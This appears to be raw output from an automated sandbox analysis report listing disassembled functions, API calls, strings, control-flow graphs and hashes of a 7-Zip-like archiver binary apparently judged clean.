                                                                                                                                                                                                                                                                      • Part of subcall function 0040EBBF: __EH_prolog.LIBCMT ref: 0040EBC4
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ErrorExceptionLastThrowmalloc
                                                                                                                                                                                                                                                                    • String ID: .001$.exe$Split
                                                                                                                                                                                                                                                                    • API String ID: 1950902910-1819480430
                                                                                                                                                                                                                                                                    • Opcode ID: 8daf641a02699bf6796e6cab5c94b5ae82e6667df9a9d4d9d8adab747f31b92e
                                                                                                                                                                                                                                                                    • Instruction ID: 47d0c90dcfc17aadec8e0dc5a1f8929f73ae42129d05545699dbb5800fcf5c57
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8daf641a02699bf6796e6cab5c94b5ae82e6667df9a9d4d9d8adab747f31b92e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B0A1AF30A00209EFCB20DFA5C985AAEB7B4BF44314F14447EE546BB6D2CB799D05CB64
                                                                                                                                                                                                                                                                    Function 0040409F Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 295COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 974 40409f-4040bf call 4272c0 call 404c22 979 404273-404289 call 404b56 974->979 980 4040c5-4040cb 974->980 985 40428b-40428d 979->985 986 40428e-40429b call 404922 979->986 980->979 982 4040d1-4040f1 call 4025e8 * 2 980->982 992 4040f3-4040f9 982->992 993 4040fe-404104 982->993 985->986 994 4042f0-4042f7 986->994 995 40429d-4042a3 986->995 992->993 996 404106-404119 call 4021d1 993->996 997 40411b-404123 call 402969 993->997 998 404303-40430a 994->998 999 4042f9-4042fd 994->999 995->994 1000 4042a5-4042b1 call 404090 995->1000 996->997 1009 404128-404135 call 404b2d 996->1009 997->1009 1003 40433c-404343 call 404ad0 998->1003 1004 40430c-404316 call 404090 998->1004 999->998 1002 4043e1-4043e6 call 403e37 999->1002 1000->1002 1017 4042b7-4042ba 1000->1017 1016 4043eb 1002->1016 1003->1002 1018 404349-404354 1003->1018 1004->1002 1019 40431c-40431f 1004->1019 1025 404137-40413a 1009->1025 1026 40416d-404177 call 40409f 1009->1026 1021 4043ed-4043f0 call 403e17 1016->1021 1017->1002 1022 4042c0-4042dd call 40406d call 4026e4 1017->1022 1018->1002 1023 40435a-404361 call 4048da 1018->1023 1019->1002 1024 404325-40433a call 40406d 1019->1024 1034 4043f5 1021->1034 1048 4042e9-4042eb 1022->1048 1051 4042df-4042e4 1022->1051 1023->1002 1045 404363-404396 call 4025e8 call 401dbd * 2 call 403e37 1023->1045 1024->1048 1032 404148-404160 call 40406d 1025->1032 1033 40413c-40413f 1025->1033 1046 404261-404272 call 4020c6 * 2 1026->1046 1047 40417d 1026->1047 1049 404162-40416b call 402748 1032->1049 1050 40417f-4041a5 call 402678 call 4025a5 1032->1050 1033->1026 1041 404141-404146 1033->1041 1042 4043f7-404405 1034->1042 1041->1026 1041->1032 1077 404398-4043ae wcscmp 1045->1077 1078 4043bb-4043c8 call 404090 1045->1078 1046->979 1047->1050 1048->1021 1049->1050 1066 4041aa-4041c0 call 40402d 1050->1066 1051->1048 1071 4041c2-4041c6 1066->1071 1072 4041f6-4041f8 1066->1072 1074 4041c8-4041d5 call 402113 1071->1074 1075 4041ee-4041f0 SetLastError 1071->1075 1076 404230-40425c call 4020c6 * 2 call 403e17 call 4020c6 * 2 1072->1076 1088 4041d7-4041ec call 4020c6 call 4025a5 1074->1088 1089 4041fa-404200 1074->1089 1075->1072 1076->1034 1082 4043b0-4043b5 1077->1082 1083 4043b7 1077->1083 1091 404408-404412 call 40406d 1078->1091 1092 4043ca-4043cd 1078->1092 1084 404426-40443e call 4026e4 call 4020c6 call 403e17 1082->1084 1083->1078 1084->1042 1088->1066 1100 404202-404207 1089->1100 1101 404213-40422e call 40292d 1089->1101 1110 404414-404417 1091->1110 1111 404419 1091->1111 1097 4043d4-4043e0 call 4020c6 1092->1097 1098 4043cf-4043d2 1092->1098 1097->1002 1098->1091 1098->1097 1100->1101 1107 404209-40420f 1100->1107 1101->1076 1107->1101 1116 404420-404423 1110->1116 1111->1116 1116->1084
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 004040A4
                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32(00000002,?,?,0000FBEF,:$DATA,?,00000000,00000000,?,00000000), ref: 004041F0
                                                                                                                                                                                                                                                                    • wcscmp.MSVCRT ref: 004043A4
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorH_prologLastwcscmp
                                                                                                                                                                                                                                                                    • String ID: :$DATA
                                                                                                                                                                                                                                                                    • API String ID: 161073058-2587938151
                                                                                                                                                                                                                                                                    • Opcode ID: 2290f12357043dfbefc65c0bb3b9624e350317d71fbf6f4f7cf084362de502ea
                                                                                                                                                                                                                                                                    • Instruction ID: f63e8067787082dd5a982d96262be7ba9754a349c4d2f76934d777abd868b8db
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2290f12357043dfbefc65c0bb3b9624e350317d71fbf6f4f7cf084362de502ea
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: AEB11AB0A002059ACF24EFA5C985AEEB7B0BF94318F10413FEA52772E2DB7D5945C719
                                                                                                                                                                                                                                                                    Function 004191D4 Relevance: 6.2, APIs: 4, Instructions: 154COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 1337 4191d4-4191f7 call 4272c0 call 407b6f 1342 419355-419363 1337->1342 1343 4191fd-419206 call 419366 1337->1343 1346 419208-41920a 1343->1346 1347 41920f-419214 1343->1347 1346->1342 1348 419225-419249 call 40209f memcpy 1347->1348 1349 419216-41921b 1347->1349 1353 41924d-419254 1348->1353 1349->1348 1350 41921d-419220 1349->1350 1350->1342 1354 419274-419290 call 4065a9 1353->1354 1355 419256-419264 1353->1355 1360 419296-41929b 1354->1360 1361 419348 1354->1361 1355->1354 1356 419266-419268 1355->1356 1356->1354 1357 41926a-41926e 1356->1357 1357->1354 1359 41930c-41930f 1357->1359 1363 41934a-419353 call 4020c6 1359->1363 1360->1359 1362 41929d-4192a9 1360->1362 1361->1363 1364 4192ab-4192ae 1362->1364 1365 4192ee-419307 memmove 1362->1365 1363->1342 1367 4192b0-4192b4 1364->1367 1368 4192d5-4192d7 1364->1368 1365->1353 1371 4192b6-4192ba 1367->1371 1372 4192cb-4192cc 1367->1372 1368->1365 1370 4192d9-4192e7 call 419366 1368->1370 1379 419311-419345 memcpy call 406687 1370->1379 1380 4192e9-4192ec 1370->1380 1374 4192bc-4192c0 1371->1374 1375 4192ce-4192d0 1371->1375 1372->1368 1377 4192d2 1374->1377 1378 4192c2-4192c7 1374->1378 1375->1368 1377->1368 1378->1364 1381 4192c9 1378->1381 1379->1361 1380->1362 1381->1368
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 0c2d90c6b04070a508d7cf47ea3793beb9506855ec26e6783ab86632c5aff705
                                                                                                                                                                                                                                                                    • Instruction ID: 4494b49477eb531f35cec1da1f055bff57d00d7f8827f30e25da4c72b14a0a59
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0c2d90c6b04070a508d7cf47ea3793beb9506855ec26e6783ab86632c5aff705
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F2510471A00205ABEB24DF54C894BFFB3B5FF48314F18496AE816A7381D778AD85C758
                                                                                                                                                                                                                                                                    Function 0040CEDA Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 352COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 1421 40ceda-40cf54 call 4272c0 call 41733a call 402678 * 2 1430 40cf56-40cf7a call 4021d1 1421->1430 1431 40cf8e-40cff7 call 40d512 call 40262b call 402c3d call 4020c6 * 2 call 4025a5 call 402678 1421->1431 1430->1431 1437 40cf7c-40cf89 call 402748 1430->1437 1450 40d062-40d073 call 4031b4 1431->1450 1451 40cff9-40cffd 1431->1451 1437->1431 1456 40d079-40d085 1450->1456 1457 40d18c-40d18f 1450->1457 1451->1450 1453 40cfff-40d01f call 4025a5 call 402f56 1451->1453 1469 40d021-40d02d 1453->1469 1470 40d055-40d061 call 4020c6 1453->1470 1467 40d087-40d089 1456->1467 1468 40d08e-40d0ac call 4025a5 call 41733a 1456->1468 1459 40d191-40d198 call 401ab2 1457->1459 1460 40d19d-40d1a0 1457->1460 1459->1460 1465 40d1f2-40d1f5 call 403ae2 1460->1465 1466 40d1a2-40d1aa call 402846 1460->1466 1479 40d1fa-40d1fc 1465->1479 1477 40d1af-40d1e6 call 40a397 1466->1477 1473 40d2c1-40d30e call 4020c6 * 4 call 411a11 call 4020c6 1467->1473 1502 40d0b2-40d0b5 1468->1502 1503 40d13a-40d13d 1468->1503 1474 40d035-40d039 1469->1474 1475 40d02f-40d033 1469->1475 1470->1450 1482 40d03d-40d040 1474->1482 1475->1474 1475->1482 1496 40d1e8-40d1eb 1477->1496 1497 40d22d 1477->1497 1479->1477 1480 40d1fe-40d208 GetLastError 1479->1480 1486 40d20a 1480->1486 1487 40d20f-40d228 call 402846 call 40292d 1480->1487 1482->1470 1489 40d042-40d051 call 402748 1482->1489 1486->1487 1487->1473 1489->1470 1496->1497 1504 40d1ed-40d1f0 1496->1504 1500 40d22f-40d240 1497->1500 1509 40d242-40d268 1500->1509 1510 40d283-40d289 1500->1510 1511 40d0b7-40d0ba 1502->1511 1512 40d0bc-40d0cd call 40e048 1502->1512 1505 40d173-40d18b call 411a11 call 4020c6 1503->1505 1506 40d13f-40d151 1503->1506 1504->1500 1505->1457 1538 40d155-40d168 call 411a11 call 4020c6 1506->1538 1547 40d275-40d281 call 405291 1509->1547 1548 40d26a-40d270 call 40d311 1509->1548 1570 40d28a call 4177a7 1510->1570 1571 40d28a call 417816 1510->1571 1572 40d28a call 417988 1510->1572 1511->1512 1515 40d120-40d126 call 401ce1 1511->1515 1527 40d0d3-40d0d6 1512->1527 1528 40d16d-40d171 1512->1528 1525 40d12b-40d134 1515->1525 1519 40d28d 1529 40d28f-40d296 1519->1529 1525->1502 1525->1503 1532 40d0d8-40d0e5 call 402e88 1527->1532 1533 40d10c-40d10f 1527->1533 1528->1538 1535 40d2a0-40d2a2 1529->1535 1536 40d298-40d29d call 40bbd4 1529->1536 1557 40d0e7-40d0f4 1532->1557 1558 40d109 1532->1558 1533->1515 1543 40d111-40d11e call 40a9af 1533->1543 1544 40d2a4 1535->1544 1545 40d2a6-40d2ba 1535->1545 1536->1535 1538->1473 1543->1515 1543->1525 1544->1545 1545->1473 1566 40d2bc call 40bbd4 1545->1566 1547->1529 1548->1547 1563 40d0f6-40d0f9 1557->1563 1564 40d0fd-40d101 1557->1564 1558->1533 1563->1533 1568 40d0fb 1563->1568 1564->1533 1569 40d103-40d107 1564->1569 1566->1473 1568->1558 1569->1533 1569->1558 1570->1519 1571->1519 1572->1519
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0040CEDF
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?,0000000D,00000000,00000000,?), ref: 0040D1FE
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • Can not create output directory: , xrefs: 0040D212
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorH_prologLast
                                                                                                                                                                                                                                                                    • String ID: Can not create output directory:
                                                                                                                                                                                                                                                                    • API String ID: 1057991267-3123869724
                                                                                                                                                                                                                                                                    • Opcode ID: 6fea25df3e51f9464c42275999c6031561a51263ad5d2582cf8ba3725eb012af
                                                                                                                                                                                                                                                                    • Instruction ID: 45483fc55ffc1e4f08540ae12de531f85305488561a8cfcc302da120c36ad0b2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6fea25df3e51f9464c42275999c6031561a51263ad5d2582cf8ba3725eb012af
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DDE17D70D01249EBCF20EFA4C954AEEBBB5BF18308F14406EE44577292DB789E49CB59
                                                                                                                                                                                                                                                                    Function 00403A4E Relevance: 4.5, APIs: 3, Instructions: 30filetimeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 1573 403a4e-403a71 CreateFileW 1574 403a73-403a89 SetFileTime CloseHandle 1573->1574 1575 403a8f-403a94 1573->1575 1574->1575
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CreateFileW.KERNELBASE(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00403A66
                                                                                                                                                                                                                                                                    • SetFileTime.KERNELBASE(00000000,?,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00403A7D
                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(00000000,?,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00403A89
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: File$CloseCreateHandleTime
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3397143404-0
                                                                                                                                                                                                                                                                    • Opcode ID: f95c062afefb3910854d5fde3c78dd69016f1e662c2db00838f8f3f87cc5e175
                                                                                                                                                                                                                                                                    • Instruction ID: 45c5e24e8ed92d6f2dfd985c627e17d783d30d77b78f14036e2459d201d16741
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f95c062afefb3910854d5fde3c78dd69016f1e662c2db00838f8f3f87cc5e175
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B2E0D8323412207FF2311F64BC88FAB675DDBC1765F040239F560A50E0C3214D1697B5
                                                                                                                                                                                                                                                                    Function 0040E6A4 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 418COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID: Split
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-1882502421
                                                                                                                                                                                                                                                                    • Opcode ID: 63071cc704f56d7b47581b87a440a26d59d8e960f80692ca68da4122e6f79fad
                                                                                                                                                                                                                                                                    • Instruction ID: a30d768f9da30d24b5f4f23b0e0b6f280fc425ee3f0fff457ac5ae4eeb36279e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 63071cc704f56d7b47581b87a440a26d59d8e960f80692ca68da4122e6f79fad
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B3023A70A00249EFCB10DFA5C9849AEBBB5BF48304F24887EE506AB391C739AD55CB55
                                                                                                                                                                                                                                                                    Function 00401A03 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00401A08
                                                                                                                                                                                                                                                                      • Part of subcall function 00401A7C: GetVersionExW.KERNEL32(?), ref: 00401A96
                                                                                                                                                                                                                                                                      • Part of subcall function 0041006E: MessageBoxW.USER32(00000000,0042C1F4,7-Zip,00000010), ref: 00410077
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • Unsupported Windows version, xrefs: 00401A25
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prologMessageVersion
                                                                                                                                                                                                                                                                    • String ID: Unsupported Windows version
                                                                                                                                                                                                                                                                    • API String ID: 3493591556-2397968907
                                                                                                                                                                                                                                                                    • Opcode ID: fc425edcb88614a1e2ae968abf53488ed0d77e7ac8c53de6c59a3937f153618f
                                                                                                                                                                                                                                                                    • Instruction ID: fd7d7080dcc7bb0a723daa8e837ef6c9ef2c8231b2c1a33e87a17c2e46b4819a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: fc425edcb88614a1e2ae968abf53488ed0d77e7ac8c53de6c59a3937f153618f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6AE06571B052189BDB10AF69B506B9E77A8DB48758F00843FF005F2192C7BC49404A69
                                                                                                                                                                                                                                                                    Function 0041A4DB Relevance: 3.2, APIs: 2, Instructions: 203COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0041A4E0
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 0041A712
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: malloc.MSVCRT ref: 004020A5
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: _CxxThrowException.MSVCRT(?,0042D020), ref: 004020BF
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow$H_prologmalloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3044594480-0
                                                                                                                                                                                                                                                                    • Opcode ID: 711ed8a8349ba795d830b0bfc25f5eb0c55b2c460c39330bc83e5ca21f1f7638
                                                                                                                                                                                                                                                                    • Instruction ID: 08d2019ff7c173bdd632dae0223ab4b80b588baf62e5bd49ee25e854d75a1254
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 711ed8a8349ba795d830b0bfc25f5eb0c55b2c460c39330bc83e5ca21f1f7638
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D9817B70D01259DFCB21DFA9C980AEEBBB5BF09304F14409EE455A3292CB389E95CB65
                                                                                                                                                                                                                                                                    Function 0040D902 Relevance: 3.1, APIs: 2, Instructions: 82COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0040D907
                                                                                                                                                                                                                                                                      • Part of subcall function 0040DA03: __EH_prolog.LIBCMT ref: 0040DA08
                                                                                                                                                                                                                                                                    • wcscmp.MSVCRT ref: 0040D994
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$wcscmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3232955128-0
                                                                                                                                                                                                                                                                    • Opcode ID: ac13f53cd0ea07ce6386e7fcfc6107d526121521ff78b9bec3f51adf41c194f5
                                                                                                                                                                                                                                                                    • Instruction ID: fda3c227129c53a03a648fb9ae77cc4a5dac3ea4597f294a5082c7430de88837
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ac13f53cd0ea07ce6386e7fcfc6107d526121521ff78b9bec3f51adf41c194f5
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0D313A70D01219EACF05EFE5D9859DDFBB0BF15314F50406EE415732A2DB785A08CB59
                                                                                                                                                                                                                                                                    Function 00414DE8 Relevance: 3.1, APIs: 2, Instructions: 80COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00414DED
                                                                                                                                                                                                                                                                      • Part of subcall function 0041325B: EnterCriticalSection.KERNEL32(?,?,?,?,00414F37), ref: 00413267
                                                                                                                                                                                                                                                                      • Part of subcall function 0041325B: LeaveCriticalSection.KERNEL32(?,?,?,00414F37), ref: 00413271
                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(00000000,?), ref: 00414ED4
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
